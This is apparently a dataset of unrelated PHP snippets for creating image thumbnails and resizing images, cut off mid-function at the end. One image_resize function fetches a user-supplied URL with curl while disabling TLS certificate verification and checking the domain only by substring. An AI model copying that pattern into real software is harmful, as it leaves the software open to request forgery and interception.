{$new_width=$min_size;$new_height=null;}\n\t }\n\n\t// $my_new_height=$new_height;\n\t if (is_null($new_height) and !is_null($new_width))\n\t { $my_new_height=round($height*$new_width/$width);$my_new_width=$new_width; }\n\t elseif (!is_null($new_height))\n\t { $my_new_width=round($width*$new_height/$height);$my_new_height=$new_height; }\n\t//echo \"$my_new_width, $my_new_height <br/>\";\n\t $image_resized = imagecreatetruecolor($my_new_width, $my_new_height);\n\t $image = imagecreatefromjpeg($image_file_name);\n\t imagecopyresampled($image_resized, $image, 0, 0, 0, 0, $my_new_width, $my_new_height, $width, $height);\n\n\t //--(BEGIN)-->save , show or send image pointer as result\n\t if (!is_null($desc_location))\n\t imagejpeg($image_resized, $desc_location,100);\n\t elseif ($show_image==true)\n\t imagejpeg($image_resized);\n\t return $image_resized;\n\t //--(END)-->save , show or send image pointer as result\n\t}", "public function optimizeOnResize($event) {\n\t\t$thumb = $event->return;\n\n\t\t$this->optimize($thumb, false, 'auto');\n\n\t\t$event->return = $thumb;\n\t}", "static function ResizeImage($OriginalFilePath, $NewfilePath, $newWidth, $newHeight, $quality) {\n\n Image::getImagine()->open($OriginalFilePath)->thumbnail(new Box($newWidth, $newHeight))->save($NewfilePath, ['quality' => $quality]);\n }", "public function getThumbnail() {\r return $this->Image()->CMSThumbnail();\r }", "function createSrcset($id, $maxWidth = 20000)\n {\n global $serendipity;\n\n $origImage = serendipity_fetchImageFromDatabase($id);\n\n if ((isset($origImage['hotlink']) && $origImage['hotlink'] == 1) || ! $origImage) return ''; // don't allow on hotlink data\n\n $imagePath = $serendipity['serendipityHTTPPath'] . $serendipity['uploadHTTPPath'] . $origImage['path'] . $origImage['realname'];\n\n $thumbnails = $this->_getThumbnails($id);\n\n $srcset = \"srcset=\\\"$imagePath {$origImage['dimensions_width']}w,\";\n if ($origImage['dimensions_width'] <= $this->breakpoints[0]) {\n // don't set the original image as srcset source if its breakpoint would be too small\n $srcset = 'srcset=\"';\n }\n for ($i = 0; $i < count($this->thumbWidths); $i++) {\n $thumbWidth = $this->thumbWidths[$i];\n $matchedThumbnail = false;\n foreach ($thumbnails AS $thumbnail) {\n if (false !== strpos($thumbnail, $thumbWidth . 'W')) {\n $matchedThumbnail = $thumbnail;\n break;\n }\n }\n if ($matchedThumbnail) {\n $thumbnailHttp = str_replace($serendipity['serendipityPath'], $serendipity['serendipityHTTPPath'], $matchedThumbnail);\n $breakpoint = $this->breakpoints[$i];\n $srcset .= \"{$thumbnailHttp} {$breakpoint}w,\";\n }\n }\n // 2 == there is the original thumbnail without a dimension, and one thumbnail for the smallest breakpoint\n if (count($thumbnails) == 2) {\n if ($origImage['dimensions_width'] < end($this->breakpoints)) {\n // It is better to just use the original image\n $srcset = \"srcset=\\\"$imagePath {$origImage['dimensions_width']}w\";\n } else {\n // When the smallest thumbnail is the only responsive thumbnail our original image will be needed to as part of the srcset, otherwise we too often upscale the small thumbnail\n $srcset .= \"$imagePath {$origImage['dimensions_width']}w,\";\n }\n }\n\n if (substr($srcset, -strlen(',')) === ',') {\n // we don't want to have the trailing comma\n $srcset = substr($srcset, 0, -1);\n }\n $srcset .= '\"';\n\n return $srcset;\n }", "public function createThumbnail($imageName,$newWidth,$newHeight) {\n $path = $this->img_dir . '/' . $imageName;\n $mime_info = getimagesize($path);\n $mime = $mime_info['mime'];\n\n $src_img = $this->image_data($path, $mime);\n if($src_img===false) return false;\n\n $old_w = imageSX($src_img);\n $old_h = imageSY($src_img);\n\n $source_aspect_ratio = $old_w / $old_h;\n $desired_aspect_ratio = $newWidth / $newHeight;\n\n if ($source_aspect_ratio > $desired_aspect_ratio) {\n /*\n * Triggered when source image is wider\n */\n $thumb_h = $newHeight;\n $thumb_w = ( int ) ($newHeight * $source_aspect_ratio);\n } else {\n /*\n * Triggered otherwise (i.e. source image is similar or taller)\n */\n $thumb_w = $newWidth;\n $thumb_h = ( int ) ($newWidth / $source_aspect_ratio);\n }\n\n $dst_img = ImageCreateTrueColor($thumb_w,$thumb_h);\n\n $color = imagecolorallocatealpha($dst_img, 0, 0, 0, 127);\n imagefill($dst_img,0,0,$color);\n imagesavealpha($dst_img, true);\n\n imagecopyresampled($dst_img, $src_img, 0, 0, 0, 0, $thumb_w, $thumb_h, $old_w, $old_h);\n\n if($this->is_crop_hard) {\n $x = ($thumb_w - $newWidth) / 2;\n $y = ($thumb_h - $newHeight) / 2;\n\n $tmp_img = imagecreatetruecolor($newWidth, $newHeight);\n $color = imagecolorallocatealpha($tmp_img, 0, 0, 0, 127);\n imagefill($tmp_img,0,0,$color);\n imagesavealpha($tmp_img, true);\n\n imagecopy($tmp_img, $dst_img, 0, 0, $x, $y, $newWidth, $newHeight);\n $dst_img = $tmp_img;\n }\n\n $new_thumb_loc = $this->thumb_dir . $imageName;\n $result = $this->save($dst_img, $new_thumb_loc, $mime);\n\n imagedestroy($dst_img);\n imagedestroy($src_img);\n return $result;\n }", "function set_post_thumbnail($post, $thumbnail_id)\n {\n }", "abstract protected function getNewResource();", "function createThumbs($imageUrl,$imgName){\n header(\"Content-type: image/jpg\");\n $SourceFile = $imageUrl . $imgName;\n $filename = $imageUrl . 'tn_' . $imgName;\n //letrehozom a thumb kepet\n // Load the image on which watermark is to be applied\n $originalImage = imagecreatefromjpeg($SourceFile);\n // Get original parameters\n list($originalWidth, $originalHeight, $original_type, $original_attr) = getimagesize($SourceFile);\n //eloallitjuk a thumbnailt, aminek a mérete 128*96\n $newWidth = 128;\n $newHeight = 96;\n $blankThumbImage = imagecreatetruecolor($newWidth, $newHeight);\n \n //a feltoltott kep 640*480 vagy 480*640\n //azt feltetelezzuk, hogy mindig ennyi\n //az oldalak aránya 0.75\n //ha 640*480\n if ($originalWidth > $originalHeight) {\n imagecopyresampled($blankThumbImage, $originalImage, 0, 0, 0, 0, $newWidth, $newHeight, $originalWidth, $originalHeight);\n }\n //ha 480*640\n if ($originalWidth < $originalHeight) {\n //levagom a tetejet es az aljat\n $newWidthT = $originalWidth;\n $newHeightT = $originalWidth * 0.75; //360\n $sy = ($originalHeight - $newHeightT) / 2;\n $tempImage = imagecreatetruecolor($newWidthT, $newHeightT);\n imagecopyresized($tempImage, $originalImage, 0, 0, 0, $sy, $newWidthT, $newHeightT , $originalWidth, $newHeightT);\n imagecopyresampled($blankThumbImage, $tempImage, 0, 0, 0, 0, $newWidth, $newHeight, $newWidthT, $newHeightT);\n }\n // elmentem a thumbnailt\n imagejpeg($blankThumbImage, $filename,100); //$SourceFile\n imagedestroy($blankThumbImage);\n \n}", "function thumb($width, $height)\n\t\t{\n\t\t // not allowing it to be more than 3x greater than the other\n\t\t if (!$height) {\n $reduction = $width / $this->width;\n $height = $this->height * $reduction;\n if ($height > 3*$width) $height = 3*$width;\n\t\t }\n\t\t if (!$width) {\n $reduction = $height / $this->height;\n $width = $this->width * $reduction;\n if ($width > 3*$height) $width = 3*$height;\n\t\t }\n\t\t \n\t\t\t// Picks the best fit from the original to the destination image, cropping when necessary\n\t\t\tif (!$this->image) return;\n\t\t\t$ratio = $this->width / $this->height;\n\t\t \n\t\t\tif ($width / $height > $ratio) {\n\t\t\t\t $new_height = $width / $ratio;\n\t\t\t\t $new_width = $width;\n\t\t\t} else {\n\t\t\t\t $new_width = $height * $ratio;\n\t\t\t\t $new_height = $height;\n\t\t\t}\n\t\t \n\t\t\t$x_mid = $new_width / 2; //horizontal middle\n\t\t\t$y_mid = $new_height / 2; //vertical middle\n\t\t \n\t\t\t$process = imagecreatetruecolor(round($new_width), round($new_height));\n\t\t \n\t\t\timagecopyresampled($process, $this->image, 0, 0, 0, 0, $new_width, $new_height, $this->width, $this->height);\n\t\t\t$thumb = imagecreatetruecolor($width, $height);\n\t\t\timagecopyresampled($thumb, $process, 0, 0, ($x_mid-($width/2)), ($y_mid-($height/2)), $width, $height, $width, $height);\n\t\t\t\n\t\t\timagedestroy($process);\n\t\t\treturn $this->image = $thumb;\n\t\t}", "function opensky_islandora_solr_results_alter(&$object_results, $query_processor) {\n\n $default_path = drupal_get_path('module', 'islandora_solr') . '/images/defaultimg.png';\n foreach ($object_results as $object_index => $object_result) {\n if (isset ($object_results[$object_index]['thumbnail_url']) && $object_results[$object_index]['thumbnail_url'] == $default_path) {\n if (strpos($object_results[$object_index]['content_models'][0], 'citationCModel') !== false) {\n $object_results[$object_index]['thumbnail_url'] = drupal_get_path('module', 'opensky') . '/images/BiblioCitOnly.png';\n }\n }\n }\n}", "public function getThumbnail() {\n return Mage::helper('landingpage/image')->getImageUrl($this->getData('thumbnail'));\n }", "public function thumbnail()\n {\n if (null !== $this->_image) {\n return $this->_createImgTag($this->_image->thumbnail);\n }\n }", "public function run() {\n\n // make enough memory available to scale bigger images\n ini_set('memory_limit', $this->thumb->options['memory']);\n \n // create the gd lib image object\n switch($this->thumb->image->mime()) {\n case 'image/jpeg':\n $image = @imagecreatefromjpeg($this->thumb->image->root()); \n break;\n case 'image/png':\n $image = @imagecreatefrompng($this->thumb->image->root()); \n break;\n case 'image/gif':\n $image = @imagecreatefromgif($this->thumb->image->root()); \n break;\n default:\n raise('The image mime type is invalid');\n break;\n } \n\n // check for a valid created image object\n if(!$image) raise('The image could not be created');\n\n // cropping stuff needs a couple more steps \n if($this->thumb->options['crop'] == true) {\n\n // Starting point of crop\n $startX = floor($this->thumb->tmp->width() / 2) - floor($this->thumb->result->width() / 2);\n $startY = floor($this->thumb->tmp->height() / 2) - floor($this->thumb->result->height() / 2);\n \n // Adjust crop size if the image is too small\n if($startX < 0) $startX = 0;\n if($startY < 0) $startY = 0;\n \n // create a temporary resized version of the image first\n $thumb = imagecreatetruecolor($this->thumb->tmp->width(), $this->thumb->tmp->height()); \n $thumb = $this->keepColor($thumb);\n imagecopyresampled($thumb, $image, 0, 0, 0, 0, $this->thumb->tmp->width(), $this->thumb->tmp->height(), $this->thumb->source->width(), $this->thumb->source->height()); \n \n // crop that image afterwards \n $cropped = imagecreatetruecolor($this->thumb->result->width(), $this->thumb->result->height()); \n $cropped = $this->keepColor($cropped);\n imagecopyresampled($cropped, $thumb, 0, 0, $startX, $startY, $this->thumb->tmp->width(), $this->thumb->tmp->height(), $this->thumb->tmp->width(), $this->thumb->tmp->height()); \n imagedestroy($thumb);\n \n // reasign the variable\n $thumb = $cropped;\n\n } else {\n $thumb = imagecreatetruecolor($this->thumb->result->width(), $this->thumb->result->height()); \n $thumb = $this->keepColor($thumb);\n imagecopyresampled($thumb, $image, 0, 0, 0, 0, $this->thumb->result->width(), $this->thumb->result->height(), $this->thumb->source->width(), $this->thumb->source->height()); \n } \n \n // convert the thumbnail to grayscale \n if($this->thumb->options['grayscale']) {\n imagefilter($thumb, IMG_FILTER_GRAYSCALE);\n }\n\n // convert the image to a different format\n if($this->thumb->options['to']) {\n\n switch($this->thumb->options['to']) {\n case 'jpg': \n imagejpeg($thumb, $this->thumb->root(), $this->thumb->options['quality']); \n break;\n case 'png': \n imagepng($thumb, $this->thumb->root(), 0); \n break; \n case 'gif': \n imagegif($thumb, $this->thumb->root()); \n break; \n }\n\n // keep the original file's format\n } else {\n\n switch($this->thumb->image->mime()) {\n case 'image/jpeg': \n imagejpeg($thumb, $this->thumb->root(), $this->thumb->options['quality']); \n break;\n case 'image/png': \n imagepng($thumb, $this->thumb->root(), 0); \n break; \n case 'image/gif': \n imagegif($thumb, $this->thumb->root()); \n break;\n }\n\n }\n\n imagedestroy($thumb);\n \n }", "public function run() {\r\nif(!($new_image = @imagecreatetruecolor($this->new_width, $this->new_height)))\r\nthrow new Exception(\"Error while the new image was initialized\");\r\n\r\nswitch($this->type) {\r\ncase 1:\r\n$image = imagecreatefromgif($this->src);\r\n$transparent_index = imagecolortransparent($image);\r\n$transparent_color = imagecolorsforindex($image, $transparent_index);\r\n$transparent_index = imagecolorallocate($new_image, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue']);\r\nimagefill($new_image, 0, 0, $transparent_index);\r\nimagecolortransparent($new_image, $transparent_index);\r\nbreak;\r\ncase 2:\r\n$image = imagecreatefromjpeg($this->src);\r\nbreak;\r\ncase 3:\r\n$image = imagecreatefrompng($this->src);\r\nimagealphablending($new_image, false);\r\nimagesavealpha($new_image, true);\r\nbreak;\r\ndefault:\r\nthrow new Exception('<b>Error:</b> The image type was not recognized');\r\nbreak;\r\n}\r\n\r\ntry {\r\nimagecopyresampled($new_image, $image, 0, 0, 0, 0, $this->new_width, $this->new_height, $this->width, $this->height);\r\n}\r\ncatch(Exception $e) {\r\nthrow new Exception(\"<b>Error:</b> The image couldn't be resized\");\r\n}\r\n\r\nswitch($this->type) {\r\ncase 1:\r\nimagegif($new_image, $this->dest);\r\nbreak;\r\ncase 2:\r\nimagejpeg($new_image, $this->dest);\r\nbreak;\r\ncase 3:\r\nimagepng($new_image, $this->dest);\r\nbreak;\r\ndefault:\r\nthrow new Exception('Error while the image was created');\r\nbreak;\r\n}\r\n\r\n$this->releaseMemory($image, $new_image);\r\n}", "function wpcom_vip_crop_small_thumbnail() {\n _deprecated_function( __FUNCTION__, '2.0.0' );\n}", "public function thumbnail($thumbnail)\n {\n return $this->setProperty('thumbnail', $thumbnail);\n }", "public function reseize($path, $source, $width, $height, $nama_ori){\n \t//$source = sumber gambar yang akan di reseize\n $config['image_library'] = 'gd2';\n $config['source_image'] = $source;\n $config['new_image'] = $path.$width.'_'.$nama_ori;\n $config['overwrite'] = TRUE;\n $config['create_thumb'] = false;\n $config['width'] = $width;\n if($height>0){\n \t$config['maintain_ratio'] = false;\n \t$config['height'] = $height;\n }else{\n \t$config['maintain_ratio'] = true;\n }\n\n $this->image_lib->initialize($config);\n\n $this->image_lib->resize();\n $this->image_lib->clear();\n }", "private function lazyLoad(): void\n\t{\n\t\tif (empty($this->_resource)) {\n\t\t\tif ($this->_cache && !$this->isCacheExpired()) {\n\t\t\t\t$this->_cacheSkip = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t$resource = $this->getImageResource($this->_imagePath, $this->_extension);\n\t\t\t$this->_resource = $resource;\n\t\t}\n\t}", "function createThumbnail($image)\n {\n $width = $height = 200;\n ini_set('memory_limit', '1024M');\n set_time_limit(120);\n $image_src = imagecreatefromjpeg(CONFIG_DIR.'/content/images/uncropped/'.$image['src'])\n or $this->reportError('cms/model/edit_input createThumbnail. Problem with imagecreatefromjpeg');\n $image_dst = imagecreatetruecolor($width, $height)\n or $this->reportError('cms/model/edit_input createThumbnail. Problem with imagecreatetruecolor');\n imagecopyresampled ($image_dst, $image_src, 0, 0, $image['sx1'], $image['sy1'], $width, $height,($image['sx2'] - $image['sx1']), ($image['sy2'] - $image['sy1']))\n or $this->reportError('cms/model/edit_input createThumbnail. Problem with imagecopyresampled');\n imagejpeg($image_dst, CONFIG_DIR.'/content/images/thumbnail/'.$image['src'] , 90)\n or $this->reportError('cms/model/edit_input createThumbnail. Problem with imagejpeg');\n imagedestroy($image_dst);\n }", "function spc_resizeImage( $file, $thumbpath, $max_side , $fixfor = NULL ) {\n\n\tif ( file_exists( $file ) ) {\n\t\t$type = getimagesize( $file );\n\n\t\tif (!function_exists( 'imagegif' ) && $type[2] == 1 ) {\n\t\t\t$error = __( 'Filetype not supported. Thumbnail not created.' );\n\t\t}\n\t\telseif (!function_exists( 'imagejpeg' ) && $type[2] == 2 ) {\n\t\t\t$error = __( 'Filetype not supported. Thumbnail not created.' );\n\t\t}\n\t\telseif (!function_exists( 'imagepng' ) && $type[2] == 3 ) {\n\t\t\t$error = __( 'Filetype not supported. Thumbnail not created.' );\n\t\t} else {\n\n\t\t\t// create the initial copy from the original file\n\t\t\tif ( $type[2] == 1 ) {\n\t\t\t\t$image = imagecreatefromgif( $file );\n\t\t\t}\n\t\t\telseif ( $type[2] == 2 ) {\n\t\t\t\t$image = imagecreatefromjpeg( $file );\n\t\t\t}\n\t\t\telseif ( $type[2] == 3 ) {\n\t\t\t\t$image = imagecreatefrompng( $file );\n\t\t\t}\n\n\t\t\tif ( function_exists( 'imageantialias' ))\n\t\t\t\timageantialias( $image, TRUE );\n\n\t\t\t$image_attr = getimagesize( $file );\n\n\t\t\t// figure out the longest side\n if($fixfor){\n \t if($fixfor == 'width'){\n \t \t$image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_width = $max_side;\n\n\t\t\t\t$image_ratio = $image_width / $image_new_width;\n\t\t\t\t$image_new_height = $image_height / $image_ratio;\n \t }elseif($fixfor == 'height'){\n \t $image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_height = $max_side;\n\n\t\t\t\t$image_ratio = $image_height / $image_new_height;\n\t\t\t\t$image_new_width = $image_width / $image_ratio;\t\n \t }\n }else{\n\t\t\tif ( $image_attr[0] > $image_attr[1] ) {\n\t\t\t\t$image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_width = $max_side;\n\n\t\t\t\t$image_ratio = $image_width / $image_new_width;\n\t\t\t\t$image_new_height = $image_height / $image_ratio;\n\t\t\t\t//width is > height\n\t\t\t} else {\n\t\t\t\t$image_width = $image_attr[0];\n\t\t\t\t$image_height = $image_attr[1];\n\t\t\t\t$image_new_height = $max_side;\n\n\t\t\t\t$image_ratio = $image_height / $image_new_height;\n\t\t\t\t$image_new_width = $image_width / $image_ratio;\n\t\t\t\t//height > width\n\t\t\t}\n }\t\n\n\t\t\t$thumbnail = imagecreatetruecolor( $image_new_width, $image_new_height);\n\t\t\t@ imagecopyresampled( $thumbnail, $image, 0, 0, 0, 0, $image_new_width, $image_new_height, $image_attr[0], $image_attr[1] );\n\n\t\t\t// move the thumbnail to its final destination\n\t\t\tif ( $type[2] == 1 ) {\n\t\t\t\tif (!imagegif( $thumbnail, $thumbpath ) ) {\n\t\t\t\t\t$error = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ( $type[2] == 2 ) {\n\t\t\t\tif (!imagejpeg( $thumbnail, $thumbpath ) ) {\n\t\t\t\t\t$error = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telseif ( $type[2] == 3 ) {\n\t\t\t\tif (!imagepng( $thumbnail, $thumbpath ) ) {\n\t\t\t\t\t$error = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$error = 0;\n\t}\n\n\tif (!empty ( $error ) ) {\n\t\treturn $error;\n\t} else {\n\t\treturn $thumbpath;\n\t}\n}", "function create_thumb($type, $image){\r\n\techo $source_path=DIR_FS_SITE.'upload/photo/'.$type.'/large/'.$image;\r\n\techo $destination_path=DIR_FS_SITE.'upload/photo/'.$type.'/thumb/'.$image;\r\n\tlist($width, $height) = getimagesize($source_path);\r\n $xscale=$width/THUMB_WIDTH;\r\n $yscale=$height/THUMB_HEIGHT;\r\n \r\n // Recalculate new size with default ratio\r\n if ($yscale>$xscale){\r\n $new_width = round($width * (1/$yscale));\r\n $new_height = round($height * (1/$yscale));\r\n }\r\n else {\r\n $new_width = round($width * (1/$xscale));\r\n $new_height = round($height * (1/$xscale));\r\n }\r\n\r\n // Resize the original image & output\r\n $imageResized = imagecreatetruecolor($new_width, $new_height);\r\n\r\n #check image format and create image\r\n if(strtolower(substr($source_path, -3))=='jpg'):\r\n $imageTmp = imagecreatefromjpeg ($source_path);\r\n elseif(strtolower(substr($source_path, -3))=='gif'):\r\n $imageTmp = imagecreatefromgif($source_path);\r\n elseif(strtolower(substr($source_path, -3))=='png'):\r\n $imageTmp = imagecreatefrompng($source_path);\r\n endif;\r\n\r\n imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);\r\n output_img($imageResized, image_type_to_mime_type(getimagesize($source_path)), $destination_path);\r\n}", "function createThumbImg($aprox)\n {\n // imagem de origem\n $img_origem= $this->createImg();\n\n // obtm as dimenses da imagem original\n $origem_x= ImagesX($img_origem);\n $origem_y= ImagesY($img_origem);\n \n // obtm as dimenses do thumbnail\n $vetor= $this->getThumbXY($origem_x, $origem_y, $aprox);\n $x= $vetor['x'];\n $y= $vetor['y'];\n \n // cria a imagem do thumbnail\n $img_final = ImageCreateTrueColor($x, $y);\n ImageCopyResampled($img_final, $img_origem, 0, 0, 0, 0, $x+1, $y+1, $origem_x, $origem_y);\n // o arquivo gravado\n if ($this->ext == \"png\")\n imagepng($img_final, $this->destino);\n\t\telseif ($this->ext == \"gif\")\n imagegif($img_final, $this->destino);\n elseif ($this->ext == \"jpg\")\n imagejpeg($img_final, $this->destino);\n\t\t\telseif ($this->ext == \"bmp\")\n imagewbmp($img_final, $this->destino);\n }", "public function thumbnail(MultibannerInterface $multibanner);", "public function thumbnailImage($width, $height, $override = true) {\n // check remote url is set\n $remote_url = $this->remote_url;\n if (empty($remote_url))\n throw new Exception ('Please set Remote Url first');\n \n // get file name\n $file_name = end(explode('/', $remote_url));\n $thumbnail_file_name = array_shift(explode('.', $file_name)).'.jpg';\n \n // if we do not allow override, skip it\n if (!$override && is_file($this->thumbnail_img_dir.$thumbnail_file_name)) {\n //$this->log('Skip to thumbnail image '.$remote_url);\n return;\n }\n \n // thumbnail and store the image\n if ($img = $this->resize_image($this->original_img_dir.$file_name, $width, $height, true)) {\n if (imagejpeg($img, $this->thumbnail_img_dir.$thumbnail_file_name)) {\n //$this->log('Succeed to thumbnail image.');\n }\n } else {\n throw new Exception ('Fail to resize image : '.$file_name);\n }\n }", "public function preprocessByThumbnailer($name, $fullPath)\n {\n $tmpPath = UtilityComponent::getTempDirectory('thumbnailcreator');\n\n if (!file_exists($tmpPath)) {\n throw new Zend_Exception(\n 'Temporary thumbnail dir does not exist: '.$tmpPath\n );\n }\n\n $copyDestination = $tmpPath.'/'.$name;\n copy($fullPath, $copyDestination);\n $jpegDestination = $tmpPath.'/'.$name.'.jpg';\n\n /** @var RandomComponent $randomComponent */\n $randomComponent = MidasLoader::loadComponent('Random');\n\n while (file_exists($jpegDestination)) {\n $jpegDestination = $tmpPath.'/'.$name.$randomComponent->generateInt().'.jpg';\n }\n\n /** @var SettingModel $settingModel */\n $settingModel = MidasLoader::loadModel('Setting');\n $thumbnailerPath = $settingModel->getValueByName(MIDAS_THUMBNAILCREATOR_THUMBNAILER_KEY, $this->moduleName);\n $thumbnailerParams = array($copyDestination, $jpegDestination);\n $thumbnailerCmd = KWUtils::prepareExeccommand($thumbnailerPath, $thumbnailerParams);\n\n if (KWUtils::isExecutable($thumbnailerPath)) {\n KWUtils::exec($thumbnailerCmd);\n } else {\n unlink($copyDestination);\n throw new Zend_Exception(\n 'Thumbnailer does not exist or you do not have execute permission. Please check the configuration of thumbnailcreator module.'\n );\n }\n\n if (!file_exists($jpegDestination)) {\n unlink($copyDestination);\n throw new Zend_Exception('Problem executing thumbnailer on your system');\n } else {\n unlink($copyDestination);\n\n return $jpegDestination;\n }\n }", "function imageResize($imageResourceId=null,$width=null,$height=null, $targetWidth=null, $targetHeight=null) {\n\n// $targetWidth =300;\n// $targetHeight =260;\n// dd($imageResourceId,$width,$height, $targetWidth, $targetHeight);\n\n $targetLayer=imagecreatetruecolor($targetWidth,$targetHeight);\n imagecopyresampled($targetLayer,$imageResourceId,0,0,0,0,$targetWidth,$targetHeight, $width,$height );\n// imagecopyresized($targetLayer,$imageResourceId,0,0,0,0, $width,$height,$targetWidth,$targetHeight);\n\n return $targetLayer;\n }", "public function thumb(){\n\treturn '/images/products/thumbs/'.$this->path;\n}", "public function image_resize()\n {\n $url = $this->input->get('pic');\n $width = $this->input->get('width');\n $height = $this->input->get('height');\n $bgcolor = $this->input->get('color');\n $type = $this->input->get('type');\n $loc = $this->input->get('loc');\n if (empty($type)) {\n $type = 'fit'; // fit, fill\n }\n if (empty($loc)) {\n $loc = 'Center'; // NorthWest, North, NorthEast, West, Center, East, SouthWest, South, SouthEast\n }\n $strict = FALSE;\n if (substr($width, -1) == \"*\" && substr($height, -1) == \"*\") {\n $width = substr($width, 0, -1);\n $height = substr($height, 0, -1);\n $strict = TRUE;\n }\n\n// $bgcolor = (trim($bgcolor) == \"\") ? \"FFFFFF\" : $bgcolor;\n// $props = array(\n// 'picture' => $url,\n// 'resize_width' => $width,\n// 'resize_height' => $height,\n// 'bg_color' => $bgcolor\n// );\n//\n// $this->load->library('Image_resize', $props);\n// $this->skip_template_view();\n\n $dest_folder = APPPATH . 'cache' . DS . 'temp' . DS;\n $this->general->createFolder($dest_folder);\n\n $pic = trim($url);\n $pic = base64_decode($pic);\n $pic = str_replace(\" \", \"%20\", $pic);\n $url = $pic;\n $url = str_replace(\" \", \"%20\", $url);\n $props = array(\n 'picture' => $url,\n 'resize_width' => $width,\n 'resize_height' => $height,\n 'bg_color' => $bgcolor\n );\n $md5_url = md5($url . serialize($props));\n $tmp_path = $tmp_file = $dest_folder . $md5_url;\n\n if (strpos($url, $this->config->item('site_url')) === FALSE && strpos($url, 's3.amazonaws') === FALSE) {\n $this->output->set_status_header(400);\n exit;\n }\n \n if (!is_file($tmp_path)) {\n $image_data = file_get_contents($url);\n if ($image_data == FALSE) {\n $curl = curl_init();\n curl_setopt($curl, CURLOPT_URL, $url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);\n curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);\n curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);\n curl_setopt($curl, CURLOPT_TIMEOUT, 600);\n curl_setopt($curl, CURLOPT_COOKIEJAR, \"cookie.txt\");\n curl_setopt($curl, CURLOPT_COOKIEFILE, \"cookie.txt\");\n curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);\n curl_setopt($curl, CURLOPT_VERBOSE, TRUE);\n //curl_setopt($curl, CURLOPT_HEADER, TRUE);\n $image_data = curl_exec($curl);\n\n if ($image_data == FALSE) {\n \t\n $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);\n if ($httpCode != 200) {\n $this->output->set_status_header($httpCode);\n exit;\n }\n }\n curl_close($curl);\n// $headers = parse_response_header($http_response_header);\n// if ($headers['reponse_code'] != 200) {\n// $this->output->set_status_header($headers['reponse_code']);\n// exit;\n// }\n }\n $handle = fopen($tmp_path, 'w+');\n fwrite($handle, $image_data);\n fclose($handle);\n\n $img_info = getimagesize($tmp_path);\n $img_ext = end(explode(\"/\", $img_info['mime']));\n if ($img_ext == 'jpeg' || $img_ext == \"pjpeg\") {\n $img_ext = 'jpg';\n }\n if ($strict == TRUE && $img_info[0] < $width && $img_info[1] < $height) {\n $tmp_file = $tmp_path;\n } else {\n\n $this->load->library('image_lib');\n\n $image_process_tool = $this->config->item('imageprocesstool');\n $config['image_library'] = $image_process_tool;\n if ($image_process_tool == \"imagemagick\") {\n $config['library_path'] = $this->config->item('imagemagickinstalldir');\n }\n// if ($img_ext == \"jpg\") {\n// $png_convert = $this->image_lib->convet_jpg_png($tmp_path, $tmp_path . \".png\", $config['library_path']);\n// if ($png_convert) {\n// unlink($tmp_path);\n// rename($tmp_path . \".png\", $tmp_path);\n// }\n// }\n\n if ($type == 'fill') {\n $img_info = getimagesize($tmp_path);\n $org_width = $img_info[0];\n $org_height = $img_info[1];\n\n $width_ratio = $width / $org_width;\n $height_ratio = $height / $org_height;\n if ($width_ratio > $height_ratio) {\n $resize_width = $org_width * $width_ratio;\n $resize_height = $org_height * $width_ratio;\n } else {\n $resize_width = $org_width * $height_ratio;\n $resize_height = $org_height * $height_ratio;\n }\n\n $crop_width = $width;\n $crop_height = $height;\n\n $width = $resize_width;\n $height = $resize_height;\n }\n\n $config['source_image'] = $tmp_path;\n $config['width'] = $width;\n $config['height'] = $height;\n $config['gravity'] = $loc; //center/West/East\n $config['bgcolor'] = (trim($bgcolor) != \"\") ? trim($bgcolor) : $this->config->item('imageresizebgcolor');\n $this->image_lib->initialize($config);\n $this->image_lib->resize();\n\n if ($type == 'fill') {\n $config['source_image'] = $tmp_path;\n $config['width'] = $crop_width;\n $config['height'] = $crop_height;\n $config['gravity'] = 'center';\n $config['maintain_ratio'] = FALSE;\n\n $this->image_lib->initialize($config);\n $this->image_lib->crop();\n }\n }\n }\n\n $this->image_display($tmp_file);\n }", "function makeThumb($newPic, $dest, $thumbWidth) {\n $source_image = imagecreatefromjpeg($newPic);\n $width = imagesx($source_image);\n $height = imagesy($source_image);\n \n // find the \"desired height\" of this thumbnail, relative to the desired width\n $desired_height = floor($height * ($thumbWidth / $width));\n \n // create a new, \"virtual\" image\n $virtual_image = imagecreatetruecolor($thumbWidth, $desired_height);\n \n // copy source image at a resized size */\n imagecopyresampled($virtual_image, $source_image, 0, 0, 0, 0, $thumbWidth, $desired_height, $width, $height);\n \n // create the physical thumbnail image to its destination\n $thumbName = \"tn_\" . (basename($newPic));\n $thumbName = $dest . $thumbName;\n imagejpeg($virtual_image, $thumbName);\n return $thumbName;\n}", "public function destroyResource() {\n if (isset($this->_resource)) {\n imagedestroy($this->_resource);\n } else {\n trigger_error(\"CAMEMISResizeImage::destroyResource() attempting to access a non-existent resource (check if the image was loaded by CAMEMISResizeImage::__construct())\", E_USER_WARNING);\n }\n\n return $this;\n }", "function thumbnail($id)\n{\n global $app, $globalSettings;\n\n // parameter checking\n if (!is_numeric($id)) {\n $app->getLog()->warn('thumbnail: invalid title id ' . $id);\n $app->halt(400, \"Bad parameter\");\n }\n\n $app->getLog()->debug('thumbnail: ' . $id);\n $has_cover = false;\n $rot = $app->request()->getRootUri();\n $book = $app->calibre->title($id);\n if (is_null($book)) {\n $app->getLog()->error(\"thumbnail: book not found: \" + $id);\n $app->response()->status(404);\n return;\n }\n\n if ($book->has_cover) {\n $cover = $app->calibre->titleCover($id);\n $thumb = $app->bbs->titleThumbnail($id, $cover, $globalSettings[THUMB_GEN_CLIPPED]);\n $app->getLog()->debug('thumbnail: 